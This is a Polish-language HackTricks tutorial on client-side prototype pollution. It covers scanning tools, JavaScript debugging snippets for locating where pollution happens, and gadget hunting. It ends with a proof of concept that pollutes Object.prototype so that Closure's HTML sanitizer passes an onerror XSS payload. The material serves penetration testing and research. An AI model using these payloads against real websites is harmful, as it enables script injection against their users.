Client Side Prototype Pollution

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Odkrywanie za pomocą automatycznych narzędzi

Narzędzia https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap i https://github.com/kosmosec/proto-find można użyć do znalezienia podatności na zanieczyszczenie prototypu.

Ponadto można również użyć rozszerzenia przeglądarki PPScan do automatycznego skanowania stron, do których uzyskujesz dostęp, w poszukiwaniu podatności na zanieczyszczenie prototypu.

Debugowanie, gdzie jest używana właściwość

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Znajdowanie przyczyny Prototypowego Zanieczyszczenia

Gdy podatność na zanieczyszczenie prototypowe zostanie zidentyfikowana przez którykolwiek z narzędzi, a jeśli kod nie jest zbyt skomplikowany, można znaleźć podatność, szukając słów kluczowych takich jak location.hash, decodeURIComponent lub location.search w narzędziach deweloperskich Chrome. Ten podejście pozwala zlokalizować podatną sekcję kodu JavaScript.

Dla większych i bardziej złożonych baz kodu, prostą metodą odkrycia podatnego kodu jest wykonanie następujących kroków:

  1. Użyj narzędzia do zidentyfikowania podatności i uzyskania ładunku zaprojektowanego do ustawienia właściwości w konstruktorze. Przykład dostarczony przez ppmap może wyglądać tak: constructor[prototype][ppmap]=reserved.

  2. Ustaw punkt przerwania na pierwszej linii kodu JavaScript, który zostanie wykonany na stronie. Odśwież stronę z ładunkiem, zatrzymując wykonanie w tym punkcie przerwania.

  3. Gdy wykonanie JavaScript jest wstrzymane, wykonaj następujący skrypt w konsoli JS. Ten skrypt sygnalizuje, kiedy właściwość 'ppmap' zostanie utworzona, pomagając zlokalizować jej pochodzenie:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Przejdź z powrotem do zakładki Sources i wybierz „Wznów wykonywanie skryptu”. JavaScript będzie kontynuował wykonywanie, a właściwość 'ppmap' zostanie zanieczyszczona zgodnie z oczekiwaniami. Wykorzystanie dostarczonego fragmentu ułatwia zidentyfikowanie dokładnej lokalizacji, w której właściwość 'ppmap' jest zanieczyszczona. Analizując Stos wywołań, można zauważyć różne stosy, w których wystąpiło zanieczyszczenie.

Podczas decydowania, który stos zbadać, często przydatne jest skoncentrowanie się na stosach powiązanych z plikami bibliotek JavaScript, ponieważ zanieczyszczenie prototypu często występuje w tych bibliotekach. Zidentyfikuj odpowiedni stos, analizując jego załączenie do plików bibliotek (widoczne po prawej stronie, podobnie jak na dostarczonym obrazie wskazującym). W przypadku wielu stosów, takich jak te na liniach 4 i 6, logicznym wyborem jest stos na linii 4, ponieważ reprezentuje on początkowe wystąpienie zanieczyszczenia i tym samym korzeń podatności. Kliknięcie na stos spowoduje przekierowanie do podatnego kodu.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Znajdowanie Gadgetów Skryptowych

Gadget to kod, który będzie wykorzystywany po odkryciu podatności PP.

Jeśli aplikacja jest prosta, możemy szukać słów kluczowych takich jak srcdoc/innerHTML/iframe/createElement i przejrzeć kod źródłowy, sprawdzając, czy prowadzi to do wykonania kodu JavaScript. Czasami wspomniane techniki mogą nie znaleźć żadnych gadżetów. W takim przypadku czysta analiza kodu źródłowego ujawnia kilka fajnych gadżetów, jak w poniższym przykładzie.

Przykład Znalezienia Gadżetu PP w kodzie biblioteki Mithil

Sprawdź ten opis: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Rekompilacja ładunków dla podatnych bibliotek

Ominięcie oczyszczania HTML za pomocą PP

Ta badania pokazują gadżety PP do omijania oczyszczania dostarczanego przez niektóre biblioteki oczyszczające HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated